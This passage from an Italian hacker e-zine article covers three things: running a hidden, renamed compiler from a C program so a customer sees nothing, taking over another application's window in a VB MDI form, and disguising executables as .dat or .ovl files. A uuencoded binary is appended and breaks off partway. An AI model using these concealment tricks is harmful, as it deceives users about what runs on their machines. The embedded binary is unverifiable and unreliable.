 .....

 Al nostro programma in C non resterebbe che eseguire questo secondo programma, cancellarlo, 
 importare i dati del file di testo creati da quest'ultimo e quindi mostrarli a video cancellando
 anche questo file di testo di passaggio.

 Resterebberro solo due problemi ad un utente che non volesse far vedere tutti questi passaggi ad
 un cliente ignaro.

 1. Il compilatore secondario di solito durante la compilazione da a video dei messaggi di benvenuto o 
 di infra-compilaione che svelerebbero l'inghippo.

 2. Il compilatore e' cmq un file exe che potrebbe essere eseguito dal cliente che si renderebbe
 conto che c'e' qualcosa che non quadra.

 .. come si risolvono i due problemi sopra?

 anche questo in maniera semplice e -spippolatoria- :)))

 1. Si potrebbe compilare indirizzando l'output su un di testo passa.

  COMPILER programma.txt > passa

   .. quindi cancellare anche il file passa.

 (tutto questo resterebbe completamente invisibile al cliente)

 2. Si potrebbe rinominare COMPILATORE.EXE in Libreria.dat .. magari cambiando i primi byte del file
 in qualcosa di diverso per poi repristinarli (sia i bytes che il nome con estensione exe finale) solo
 all'atto dell'utilizzo.


 E' piu' semplice a farsi che a dirsi..


 questo e' il programma che avevo buttato giu':

 PS: necessita per essere eseguito del compilatore powerbasic ( LIB.OLV  .. l'ho solo rinominato
 evitando di cambiare i bytes iniziali per comodita' .. infatti se provate a rinominare a vostra
 volta LIB.OVL in PWB.EXE e ad eseguirlo ve ne renderete conto) 
 Lo trovate accluso a tutti gli altri programmi nel file di archivio 
 www.spippolatori.com/memberspp/master/archivio.ace
 Directory \VALUTA

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
FUNZIONE.C
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <math.h>
#include <conio.h>
#include <stdlib.h>
#include <dos.h>
#include <string.h>

main()
{
 char p[100],s[100];
 char a[100],b[100];
 char c[100];
 FILE *f;

 printf("Inserimento dei dati di prova..ENTER=DEFAULT:\n\n");

 printf("F(x)=");
 gets(s);
 if(strlen(s)==0)
  {
   strcpy(s,"sin(x^2/9+y^2/9)/(x^2+y^2+1)");
   printf("%s\n",s);
  }

 printf("da X1 =");
 gets(a);
 if(strlen(a)==0)
  {
   strcpy(a,"0");
   printf("%s\n",a);
  }

 printf(" a X2 =");
 gets(b);
 if(strlen(b)==0)
  {
   strcpy(b,"3.14-3.14/16");
   printf("%s\n",b);
  }

 printf(" STEP =");
 gets(c);
 if(strlen(c)==0)
  {
   strcpy(c,"3.14/16");
   printf("%s\n",c);
  }

 f=fopen("fn.bas","wb");
	fprintf(f,"x1=%s\r\n",a);
	fprintf(f,"x2=%s\r\n",b);
	fprintf(f,"S=%s\r\n",c);
	fprintf(f,"FUNCTION pippo(x)\r\n");
	fprintf(f,"pippo=%s\r\n",s);
	fprintf(f,"END FUNCTION\r\n");
	fprintf(f,"open \"out\" for output as #1\r\n");
	fprintf(f,"for n=x1 to x2 step S\r\n");
	fprintf(f,"print #1," ";n;str$(pippo(n));\r\n");
	fprintf(f,"next n\r\n");
  fprintf(f,"close #1\r\n");
 fclose(f);
 rename("lib.ovl","pbc.exe");
 system("pbc.exe -CE fn.bas > ok.pas");
 rename("pbc.exe","lib.ovl");
 system("fn.exe");

 remove("fn.bas");
 remove("fn.exe");
 remove("ok.pas");

 f=fopen("out","rb");
	while(!feof(f))
		{
		 fscanf(f,"%s",s);
		 fscanf(f,"%s",p);
		 printf("%s -> %s\n",s,p);
		}
 fclose(f);
 remove("out");
} 
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

 

  
 Pensate all'utilita' di poter accludere ad un proprio programma un altro solo in forma di sorgente..
 Come dico sempre il limite e' solo la fantasia di chi usa simili procedure.

 Per la cronaca ho provato diversi compilatori minimi per eseguire lavori di questo tipo anche 
 in altri -settori- .. emh.. :)) hi hi hi

 la mia valutazione e' la seguente.

 Powerbasic 2.0 : (si trova free) molto efficiente, abbastanza contenuto nelle dimensioni (220k ca ..
 e non si riesce comprimere a causa di una complessa table interna) 
 Molte funzioni, e' quasi un clone del visual basic.

 Turbo pascal : ridottissimo nelle dimensioni (senza librerie strane) necessita solo dei file
 TPC.EXE e TURBO.TPL (che sono 2 purtroppo) .. cmq TPC.EXE e' possibile comprimerlo con wwpack
 fino a portarlo alle dimensioni di 50k ca. che assieme ai 40k del turbo.tpl danno un compiler
 versatile e potente di soli 90k ca.

 Turbo C: potente .. in tema.. ma di dimensioni notevoli. Con tutto quello che gli serve dietro non 
 si riesce a star sotto ai 600k... un po' troppo.

  .. ho provato anche altri compilatori minimi .. zbasic (9k!!) , minic (150k), personalC (250k)
 ecc.. ma col powerbasic ho ottenuto i migliori risultati.
 
 


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
 8. Ladrone, come grabbare una applicazione esterna in un proprio programma con MDIChild
//---------------------------------------------------------------------------------------------------


 Ecco qui la sezione -esoterica- di questo articolo.. un programma in VB! he he
 (Vi sembrava possibile che in un mio articolo non inserissi qualcosa di inerente il VB!? :)) )
 
 E' una soluzione da vero furfante. 
 Premessa:

 Abbiamo sviluppato un programma VB (ma in c++ e' la stessa cosa!) usando i form MDI.
 Come cosa sono? .. he he .. sono quei form che permettono di inglobarne altri al proprio 
 interno in maniera da avere un processo -padre- che ne governa altri come figli (child)
 Un tipico esempio di questo e' Aggressor Pro, Il mio Scanus (mio e di Devil) 
 scanner netbios -> www.spippolatori.com/memberspp/master/scanus.zip, Opera, ecc..
 
 Ecco.. sarebbe bello se potessimo -grabbare- (rubare) un programma fatto da un altro e portarlo
 invisibilmente dentro il nostro form MDI .. :))
 Beh ..si puo' fare. E non e' nemmeno troppo complicato.

 E' sufficiente rintracciare l'handle della applicazione che si vuole grabbare e quindi 
 settargli le specifiche di MDIChild come segue

 Applicazione_da_grabbare -> Handle

 Nostr_form_MDI -> handle2

     GetWindowLong(handle, GWL_STYLE)
     GetWindowLong(handle, GWL_EXSTYLE)
     GetWindowLong(handle, GWL_WNDPROC)
     pippo=GetWindow(handle2, GW_CHILD)
     SetParent(handle, pippo)
     
 Le prime tre istruzioni settano il processo da grabbare come child e le altre due certificano il
 nostro form come parent.
 

 .. meglio un esempio pratico? ..eccolo qua.

 LADRONE.

 Ladrone e' un programma VB che apre un semplice form MDI vuoto al suo interno.
 Nella stessa directory e' presente un programma esterno (non fatto da me) PINGER.EXE
 che per l'occasione io ho rinominato come dati.dat (per far si che un utente non troppo
 smaliziato non pensi che sia un programma eseguibile!)

 Compilando il programma ed eseguendolo (dati.dat presente nella stessa directory!) .. pinger
 apparira' come per magia dentro la nostra applicazione della quale sembrera' un processo
 figlio. Simpatico no!?.. :))

 ..ovviamente il sistema e' un sistema generico.. ogni programma puo' essere grabbato con 
 questo sistema indipendentemente dal compilatore usato per crearlo.
 Anche programmi estremamente complessi nella struttura quali Explorer, Outlook Express o
 Windows Commander (tanto per fare degli esempi) posso venire inclusi in una specifica
 (e diversa) applicazione... bastera' solo conoscere l'header del loro form principale 
 di visualizzazione.


 Il programma di esempio e' formato dai file :

   DATI.dat  (ex pinger.exe che e' possibile trovare in coda a questa sezione in formato
   uuencode oppure nel solito archivio.ace)
   
   ruba.bas (un modulo contenente le dichiarazioni delle Api e le procedure necessarie
   al -grabbaggio- e al rilascio delle applicazioni sotto MDIChild.) 

   barabba.frm  (il programma VB per la gestione -visual- di tutta la cosa.)


     
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 MODULO   RUBA.BAS
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Attribute VB_Name = "ruba"
 ' api, costanti e strutture (non tutte servono al programma)
 
Public Declare Function GetWindowText Lib "user32" _ 
Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, _ 
ByVal cch As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" _ 
Alias "ShellExecuteA" _ 
(ByVal hWnd As Long, ByVal lpOperation As String, _ 
ByVal lpFile As String, ByVal lpParameters As String, _ 
ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias _ 
"FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function GetCapture Lib "user32" () As Long
Public Declare Function SetParent Lib "user32" _ 
(ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
Public Declare Function SetWindowLong Lib "user32" _ 
Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, _ 
ByVal dwNewLong As Long) As Long
Public Declare Function WindowFroCHoint Lib "user32" _ 
(ByVal x As Long, ByVal y As Long) As Long
Public Declare Function SetCapture Lib "user32" _ 
(ByVal hWnd As Long) As Long
Public Declare Function ReleaseCapture Lib "user32" () As Long
Public Declare Function ClientToScreen Lib "user32" _ 
(ByVal hWnd As Long, lpPoint As POINT) As Long
Public Declare Function GetParent Lib "user32" (ByVal hWnd As Long) As Long
Public Declare Function MoveWindow Lib "user32" _ 
(ByVal hWnd As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, _ 
ByVal nHeight As Long, ByVal bRepaint As Long) As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" _ 
(ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public Declare Function IsWindow Lib "user32" (ByVal hWnd As Long) As Long
Public Declare Function GetWindow Lib "user32" _ 
(ByVal hWnd As Long, ByVal wCmd As Long) As Long
Public Declare Function TextOut Lib "gdi32" Alias "TextOutA" _ 
(ByVal hdc As Long, ByVal x As Long, ByVal y As Long, _ 
ByVal lpString As String, ByVal nCount As Long) As Long
Public Declare Function SetWindowPos Lib "user32" _ 
(ByVal hWnd As Long, ByVal hWndInsertAfter As Long, _ 
ByVal x As Long, ByVal y As Long, ByVal cx As Long, _ 
ByVal cy As Long, ByVal wFlags As Long) As Long
Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" _ 
(ByVal hWnd As Long, ByVal nIndex As Long) As Long
Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" _ 
(ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, _ 
ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function GetCursorPos Lib "user32" _ 
(ByRef lpPoint As POINT) As Long      
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ 
(ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function GetMenu Lib "user32" (ByVal hWnd As Long) As Long ' hMenu
Public Declare Function SetMenu Lib "user32" _ 
(ByVal hWnd As Long, ByVal hmenu As Long) As Long 'C BOOL
Public Declare Function IsWindowVisible Lib "user32" _ 
(ByVal hWnd As Long) As Long 'C BOOL
Public Type POINT
 x As Long
 y As Long
End Type
Public Declare Function DefFrameProc _
 Lib "user32" Alias "DefFrameProcA" ( _
 ByVal hWnd As Long, _
 ByVal hWndMDIClient As Long, _
 ByVal uMsg As Long, _
 ByVal wParam As Long, _
 lParam As Any) As Long
Public Declare Function DefMDIChildProc _
 Lib "user32" Alias "DefMDIChildProcA" ( _
 ByVal hWnd As Long, _
 ByVal uMsg As Long, _
 ByVal wParam As Long, lParam As Any) As Long
Public Const WM_COMMAND = &H111
Public Const WM_MENUCHAR = &H120
Public Const WM_MENUSELECT = &H11F
Public Const WM_MDISETMENU = &H230
Public Const WM_MDIREFRESHMENU = &H234
Public Const WM_MOVE = &H3
Public Const WM_WINDOWPOSCHANGING = &H46
Public Const WM_MOVING = &H216
Public Const WM_SIZING = &H214
Public Const WM_ACTIVATE = &H6
Public Const WM_ACTIVATEAPP = &H1C
Public Const WM_CHILDACTIVATE = &H22
Public Const WM_CLOSE = &H10
Public Const WM_DESTROY = &H2
Public Const WM_MDIDESTROY = &H221
Public Const WM_SYSCOMMAND = &H112
Public Const WA_ACTIVE = 1
Public Const WA_CLICKACTIVE = 2
Public Const WA_INACTIVE = 0
Public Const SC_CLOSE = &HF060&
Public Const WM_SETFOCUS = &H7
Public Const WS_CHILD = &H40000000
Public Const WS_CLIPSIBLINGS = &H4000000
Public Const WS_CLIPCHILDREN = &H2000000
Public Const WS_EX_MDICHILD = &H40&
Public Const WS_EX_WINDOWEDGE = &H100&
Public Const GW_CHILD = 5
Public Const GWL_STYLE = (-16)
Public Const GWL_EXSTYLE = (-20)
Public Const HWND_TOPMOST = -1
Public Const HWND_NOTOPMOST = -2
Public Const SWP_NOMOVE = &H2
Public Const SWP_NOREDRAW = &H8
Public Const SWP_NOOWNERZORDER = &H200
Public Const SWP_NOSIZE = &H1
Public Const GWL_WNDPROC = (-4)
Private a1 As Long
Private a2 As Long
Private a3 As Long
Private a4 As Long
Private a5 As Long
Private a6 As Long
Private a7 As Long
Public Property Get QUALE() As Long
QUALE = a1
End Property
Private Function par(ByVal dw As Long) As Integer
    par = (dw And &HFFFF0000) \ 65536
End Function

 ' //-------------------- Procedure

Public Function FAISU(ByVal HANDLE As Long, Optional operazione As Boolean = True) As Long
    Dim trova As Long
    trova = SWP_NOMOVE Or SWP_NOSIZE
    If operazione Then
        trova = trova Or HANDLE_TOPMOST
    Else
        trova = trova Or HANDLE_NOTOPMOST
    End If
    FAISU = SetWindowPos(HANDLE, 0&, 0&, 0&, 0&, 0&, trova)
End Function
Public Function ACCHIAPPA(ByVal CH As Long, ByVal MP As MDIForm) As Long
    Dim c1 As Long
    If 0 <> a1 Then
        Call MOLLA
    End If
    a1 = CH
    a3 = GetWindowLong(CH, GWL_STYLE)
    a4 = GetWindowLong(CH, GWL_EXSTYLE)
    a2 = GetWindowLong(CH, GWL_WNDPROC)
    c1 = GetWindow(MP.hWnd, GW_CHILD)
    a5 = SetParent(CH, c1)
    Call SetWindowLong(CH, GWL_STYLE, WS_CHILD Or WS_CLIPSIBLINGS Or WS_CLIPCHILDREN)
    Call SetWindowLong(CH, GWL_EXSTYLE, WS_EX_MDICHILD Or WS_EX_WINDOWEDGE)
    Call MoveWindow(CH, 5, 30, (MP.ScaleWidth / Screen.TwipsPerPixelX) - 10, (MP.ScaleHeight / Screen.TwipsPerPixelY) - 70, -1&)
    a6 = GetMenu(a1)
    a7 = GetMenu(MP.hWnd)
    Debug.Print "MDI menu = " & a7
    Call SetMenu(a1, 0&)
    Call SetMenu(MP.hWnd, a6)
    ACCHIAPPA = True
End Function
Public Function MOLLA() As Long
    If 0 = a2 Then Exit Function
    Call SetMenu(a1, a6)
    Call SetMenu(fMain.hWnd, a7)
    Call SendMessage(fMain.hWnd, WM_MDIREFRESHMENU, 0&, 0&)
    Call SetParent(a1, a5)
    Call SetWindowLong(a1, GWL_STYLE, a3)
    Call SetWindowLong(a1, GWL_EXSTYLE, a4)
    a2 = 0: a1 = 0: a3 = 0: a4 = 0
    a5 = 0: a6 = 0: a7 = 0: a8 = 0
    MOLLA = True
End Function
Public Function POSSIBILE(ByVal HANDLE As Long) As Boolean
    Dim OK As VbMsgBoxResult
    If 0 = IsWindow(HANDLE) Then Exit Function
    HANDLE = SU(HANDLE)
    If fMain.hWnd = HANDLE Then Exit Function
    If a1 = HANDLE Then Exit Function
    If UCase(NomeClasse(HANDLE)) = "PROGMAN" Then Exit Function
    If UCase(NomeClasse(HANDLE)) = "SHELL_TRAYWND" Then Exit Function
    If UCase(NomeClasse(HANDLE)) = "WNDCLASS_DESKED_GSK" Then Exit Function
    If UCase(NomeClasse(HANDLE)) = "IDEOWNER" Then Exit Function
    If UCase(NomeClasse(HANDLE)) = "MS_WINDOC" Then Exit Function
    POSSIBILE = True
End Function
Public Function NomeClasse(ByVal HANDLE As Long) As String
    Dim passa As String
    If 0 = IsWindow(HANDLE) Then Exit Function
    passa = String$(256, vbNullChar)
    If 0 = GetClassName(HANDLE, passa, 255) Then
     a8 = 0
    Else
     If InStr(passa, vbNullChar) Then
       NomeClasse = Left$(passa, InStr(passa, vbNullChar) - 1)
     End If
    End If
End Function
Public Function SU(ByVal HANDLE As Long) As Long
    Dim un As Long
    Dim du As Long
    du = HANDLE
    If 0 <> IsWindow(du) Then
      Do
        un = GetParent(du)
        If 0 = un Then
          un = du
          Exit Do
        End If
        du = un
      Loop
    End If
    SU = un
End Function
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
BARABBA.fmr
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
VERSION 5.00
Begin VB.MDIForm prendi 
   AutoShowChildren=   0   'False
   BackColor       =   &H8000000C&
   Caption         =   "BARABBA (Il ladrone) ;-)"
   ClientHeight    =   6540
   ClientLeft      =   3000
   ClientTop       =   3150
   ClientWidth     =   8625
   Icon            =   "prendi.frx":0000
   LinkTopic       =   "MDIForm1"
End
Attribute VB_Name = "prendi"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub MDIForm_Load()
 
 prendi.Show
   
' Esegue minimizzato il programma "pingatore.exe"
' Rinominato alla bisogna dati.dat
 alfa = Shell("dati.dat", vbMinimizedFocus)

' aspetta un secondo in modo che tutti gli handle
' siano bel piazzati al loro posto! ;-)
 P = 1: S = Timer
 Do While Timer < S + P
 Loop
    
 ' trova l'handle del programma pingatore
 Handle_di_pingatore = FindWindow("#32770", "Pingatore   ")
 
 ' lo ruba all'interno del form MCI (prendi)
 ' riattivandolo come normal_focus
 ACCHIAPPA Handle_di_pingatore, prendi
 
End Sub
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

   
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 dati.dat  (in formato UUENCODE)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
<----------- TAGLIA QUI -------------------------------------------------------------------------->
begin 644 dati.dat
M35HI``8````(`!``__\(```!````````'``!````````````````````````
M``````````````````````$`````````````````````````````````````
M``````````````````````````````````````````````````"Z$``.'[0)
MS2&X`4S-(9"05&AI<R!P<F]G<F%M(')E<75I<F5S($UI8W)O<V]F="!7:6YD
M;W=S+@T*)"`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@($Y%!@&Q`F@&``````H+
M$0``(`!`K0\"````$0`1``D`$`!``,@`4P)?`G$"&0H``!`!!`````(`````
M``````.C`#D)4`TY"4`!.P@0'0(0_0'#`!`=`@$/`H(`$!V?`!H""P$0'8@!
M,@)%$!`=>RB2`[H`$!UA`:$#H``0':``K0.O`!`=V`"[`VX`$!UN`,,#41(0
M'1PL-@6*`A`=&@5J!?8"$!WD!*`%D@`0';0`K07F`!`=.@&^!<,24`U=%_0&
MX0%!#:X)!``#@`$``````#<'+P`P'`&```````6`#0``````9@<1`#`<-`$`
M````Q`@+`#`</@$`````SP@.`#`<2@$`````W0@8`#`<5P$`````]0@B`#`<
M8P$`````%PD*`#`<<`$`````(0D-`#`<?0$`````.0D0`#`<`/\`````20D.
M`#`<`?\`````5PD'`#`<`O\`````7@D8`#`<`_\`````=@D4`#`<!/\`````
MB@D*`#`<!?\`````#H`!``````!W!P(`,!PY`0`````"@`8``````'D'/P`P
M'$V$`````+@',``P'#6(`````.@'.P`P'!V,`````",(,``P'`60`````%,(
M0``P'.V3`````),(,0`P'-67``````:``0``````+@D+`#`<\8<````````$
M34%)3@1024Y'"T%"3U)41$E!3$]'#$%"3U)41$E!3$]'0@M04DE.5$1)04Q/
M1PQ04DE.5$1)04Q/1T(,4%))3E1%4E-%5%50#5!224Y415)315154$((4&EN
M9V%T;W(````!``H`$@`9`!T`(@`K`#(`-P``"%1/3TQ(14Q0!U=)3E-/0TL&
M2T523D5,`T=$20154T52"$M%64)/05)$!DM%4DY%3`154T52"$M%64)/05)$
M__\`S3\""@``S3\"#`$`S3\"R@,`S3\"K`0`S3\"<PD`S3\"\@T`S3\"#0X`
MS3\"-0X`S3\"YP(`S3\"'00`S3\")0,`S3\"<P,`S3\">0\`S3\#.@``S3\#
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
